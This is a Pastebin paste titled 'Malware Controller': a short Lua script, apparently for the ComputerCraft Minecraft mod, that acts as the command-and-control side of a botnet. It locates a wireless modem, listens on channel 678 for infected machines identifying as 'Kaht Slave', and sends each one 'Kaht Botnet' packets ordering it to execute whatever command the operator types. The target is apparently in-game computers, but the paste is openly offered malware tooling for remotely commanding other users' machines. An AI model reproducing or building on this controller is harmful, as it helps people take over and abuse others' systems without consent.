Advertisement
Alakazard12

Malware Controller

Mar 30th, 2014
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.91 KB | None | 0 0
  1. local Sides = {"top", "bottom", "left", "right", "front", "back"}
  2.  
  3. local Mod
  4.  
  5. for i,v in pairs(Sides) do
  6.     if peripheral.isPresent(v) then
  7.         if peripheral.getType(v) == "modem" and peripheral.call(v, "isWireless") == true then
  8.             Mod = peripheral.wrap(v)
  9.             break
  10.         end
  11.     end
  12. end
  13.  
  14. if not Mod then return end
  15.  
  16. function execute(str)
  17.     local time = os.startTimer(2.05)
  18.     Mod.open(678)
  19.     while true do
  20.         local Event, Side, Channel, ID, Message, Distance = os.pullEvent()
  21.         if Event == "timer" and Side == time then
  22.             break
  23.         elseif Event == "modem_message" and Channel == 678 and ID == 1 then
  24.             local tab = textutils.unserialize(Message)
  25.             if type(tab) == "table" and tab[1] == "Kaht Slave" then
  26.                 Mod.transmit(678, 0, textutils.serialize({"Kaht Botnet", tonumber(tab[2]) or 0, {"execute", str}}))
  27.             end
  28.         end
  29.     end
  30.     Mod.close(678)
  31. end
  32.  
  33. while true do
  34.     write("Execute: ")
  35.     execute(read())
  36. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement